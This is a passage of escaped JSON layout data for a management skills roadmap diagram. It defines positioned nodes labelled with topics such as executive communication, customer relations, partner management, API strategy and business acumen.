\"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"bLx0NI1XEqYnuLhGOyWai\"\n      },\n      \"positionAbsolute\": {\n        \"x\": 1203.5111243623878,\n        \"y\": 3440.0727502572645\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 316,\n        \"height\": 334\n      }\n    },\n    {\n      \"id\": \"5MM1ccB1pmQcd3Uyjmbr7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3500.45629873737\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Board presentations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mIUx8zAHWyPWPGvxuTK4y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3500.45629873737\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CHothgVl8ulFthwS7uKqK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3553.45629873737\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Executive summaries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nnoVA8W70hrNDxN3XQCVL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3553.45629873737\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uBrsV_EocAkRWEqJYjoZn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3606.45629873737\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Strategic proposals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FwK-B7jRbBXVnuY9JxI1w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3606.45629873737\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pLUOU2AmAJ9aJAmIlVD7D\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3659.45629873737\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Budget requests\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QFhhOgwz_bgZgOfKFg5XA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3659.45629873737\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QssXmeifoI3dtu-eXp8PK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3712.45629873737\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Vision alignment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tmY4Ktu6luFg5wKylJW76\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3712.45629873737\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3aLBCZZKbSXTi52pz3NpZ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1254.0111243623878,\n        \"y\": 3452.3619966752904\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Executive Communication\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"Vh1_v27lStdnRPwpY3ZPv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1254.0111243623878,\n        \"y\": 3452.3619966752904\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"BY5rqe9DC0iZoE2JpfCqz\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1203.5111243623878,\n        \"y\": 3040.5761237821716\n      },\n      \"width\": 316,\n      \"height\": 334,\n      \"style\": {\n        \"width\": 316,\n        \"height\": 334\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"7sz1w4O4pKfoTBgTwpm9P\"\n      },\n      \"positionAbsolute\": {\n        \"x\": 1203.5111243623878,\n        \"y\": 3040.5761237821716\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 316,\n        \"height\": 334\n      }\n    },\n    {\n      \"id\": \"QEViLNgG4Uv9Q9PWig0u3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3100.9596722622773\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Customer feedback integration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5MM1ccB1pmQcd3Uyjmbr7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3100.9596722622773\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"V5s2i-L2tsZFNxMLN_e_U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3153.9596722622773\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Technical customer support\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CHothgVl8ulFthwS7uKqK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3153.9596722622773\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"A-Aa7VdDAYfaMUZD_cWwP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3206.9596722622773\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Customer success alignment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uBrsV_EocAkRWEqJYjoZn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3206.9596722622773\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2QwMcO27H3ygtLlWVplxr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3259.9596722622773\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Feature prioritization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"pLUOU2AmAJ9aJAmIlVD7D\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3259.9596722622773\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tCT2syTMyEHCspDLXxk6R\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3312.9596722622773\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Technical partnerships\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QssXmeifoI3dtu-eXp8PK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3312.9596722622773\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZHd8vK5HAh5iQaTJGzBPF\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1277.0111243623878,\n        \"y\": 3050.6958109596326\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Customer Relations\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"3aLBCZZKbSXTi52pz3NpZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 169,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1277.0111243623878,\n        \"y\": 3050.6958109596326\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"X8eLF6i4Q2AdAG_1Yoh63\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 844.3166147758218,\n        \"y\": 3036.4041972869018\n      },\n      \"width\": 305,\n      \"height\": 334,\n      \"style\": {\n        \"width\": 305,\n        \"height\": 334\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"BY5rqe9DC0iZoE2JpfCqz\"\n      },\n      \"positionAbsolute\": {\n        \"x\": 844.3166147758218,\n        \"y\": 3036.4041972869018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 305,\n        \"height\": 334\n      }\n    },\n    {\n      \"id\": \"WYoqfmk5ejB2UOiYXh4Zi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 857.8166147758218,\n        \"y\": 3096.7877457670074\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Vendor relationships\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QEViLNgG4Uv9Q9PWig0u3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 857.8166147758218,\n        \"y\": 3096.7877457670074\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xMN575nnnQJeHe2oJYw17\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 857.8166147758218,\n        \"y\": 3149.7877457670074\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Technology partnerships\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"V5s2i-L2tsZFNxMLN_e_U\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 857.8166147758218,\n        \"y\": 3149.7877457670074\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"f3P0fF4UzgVQZuMVTVmP1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 857.8166147758218,\n        \"y\": 3202.7877457670074\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Integration management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"A-Aa7VdDAYfaMUZD_cWwP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 857.8166147758218,\n        \"y\": 3202.7877457670074\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ukmMMWacekcejEiEKCLzh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 857.8166147758218,\n        \"y\": 3255.7877457670074\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"API strategy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2QwMcO27H3ygtLlWVplxr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 275,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 275,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 857.8166147758218,\n        \"y\": 3255.7877457670074\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 275,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Jctp5tPCK_vY35_bh7QFk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 857.8166147758218,\n        \"y\": 3308.7877457670074\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"External collaboration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tCT2syTMyEHCspDLXxk6R\"\n      },\n      \"zIndex\": 999,\n      \"width\": 274,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 857.8166147758218,\n        \"y\": 3308.7877457670074\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"olGtswpYmYp-s8hGgndKm\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 906.204465965453,\n        \"y\": 3046.5238844643627\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Partner Management\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"ZHd8vK5HAh5iQaTJGzBPF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 906.204465965453,\n        \"y\": 3046.5238844643627\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"UOBNQkCgpWP0YvCdKG0VH\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1147.8012698108323,\n        \"y\": 3061.0349294407606\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 4\n        },\n        \"oldId\": \"hwXurTdcHEOQ0jmT0tlRm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 60,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 60,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1147.8012698108323,\n        \"y\": 3061.0349294407606\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 60,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"BLNmr4EyO_CXZosQa2CJ3\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1086.204465965453,\n        \"y\": 302.57315429496583\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        },\n        \"oldId\": \"oppGa6HdEYDebb-77Y2iW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 264,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1086.204465965453,\n        \"y\": 302.57315429496583\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"9rVGTGSRIqYOFx5oA4N2s\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 757.1007636336227,\n        \"y\": 512.8121436655033\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        },\n        \"oldId\": \"eqn4HWH18WH2Oz-UUi-T6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 757.1007636336227,\n        \"y\": 512.8121436655033\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"oppGa6HdEYDebb-77Y2iW\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1128.6408176626721,\n        \"y\": 512.8121436655033\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 52,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 52,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1128.6408176626721,\n        \"y\": 512.8121436655033\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 52,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"jt-LF5QbGVs0cwTuHFQF6\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1212.8829633399996,\n        \"y\": 1406.6483422046601\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Project Management\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"6shGmkSVDCch9z6rspSRC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 68,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 68\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1212.8829633399996,\n        \"y\": 1406.6483422046601\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"X_nhWY6Veipg2OWISeJEa\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 444.1007636336227,\n        \"y\": 776.1177694179561\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"People Management\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 295,\n      \"height\": 61,\n      \"style\": {\n        \"width\": 295,\n        \"height\": 61\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 444.1007636336227,\n        \"y\": 784.3206448928817\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 295,\n        \"height\": 61\n      }\n    },\n    {\n      \"id\": \"EzZCoyZkub3Gnp4df9b8u\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 740.1007636336227,\n        \"y\": 1006.617769417956\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        },\n        \"oldId\": \"eqn4HWH18WH2Oz-UUi-T6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 93,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 93,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 740.1007636336227,\n        \"y\": 1006.617769417956\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 93,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"eqn4HWH18WH2Oz-UUi-T6\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1135.122886808461,\n        \"y\": 1001.6177694179562\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        },\n        \"oldId\": \"oppGa6HdEYDebb-77Y2iW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 65,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 65,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1135.122886808461,\n        \"y\": 1001.6177694179562\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 65,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"6shGmkSVDCch9z6rspSRC\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 849.6408176626721,\n        \"y\": 1681.4190934658873\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Business Acumen\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"X_nhWY6Veipg2OWISeJEa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 68,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 68\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 849.6408176626721,\n        \"y\": 1681.4190934658873\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"J-e0qnil7W79ojjWoFHGX\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 755.1007636336227,\n        \"y\": 1705.4190934658873\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 4\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 102,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 102,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 755.1007636336227,\n        \"y\": 1705.4190934658873\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"TQY4hjo56rDdlbzjs_-nl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1222.4706745080407,\n        \"y\": 1842.978694024707\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Competitive Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"76GjwwEYaEX_kh02OSpdr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1222.4706745080407,\n        \"y\": 1842.978694024707\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RLn26-FGoYaM75fNI7ymt\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1108.122886808461,\n        \"y\": 2077.5649461621497\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"UFbewLKNzvIfYopqw08Jm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 92,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 92,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1108.122886808461,\n        \"y\": 2077.5649461621497\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 92,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"QbjiB9Ce9BwrCUsIZosdM\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 720.7539355776339,\n        \"y\": 2077.5649461621497\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"_ab9jU3cwIiyrmTMQVpqV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 137,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 720.7539355776339,\n        \"y\": 2077.5649461621497\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"HS8ZF2OjT_pR4bAzQyqOt\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 755.0868781715585,\n        \"y\": 2385.9303418232553\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"_ab9jU3cwIiyrmTMQVpqV\"\n      },\n      \"zIndex\": 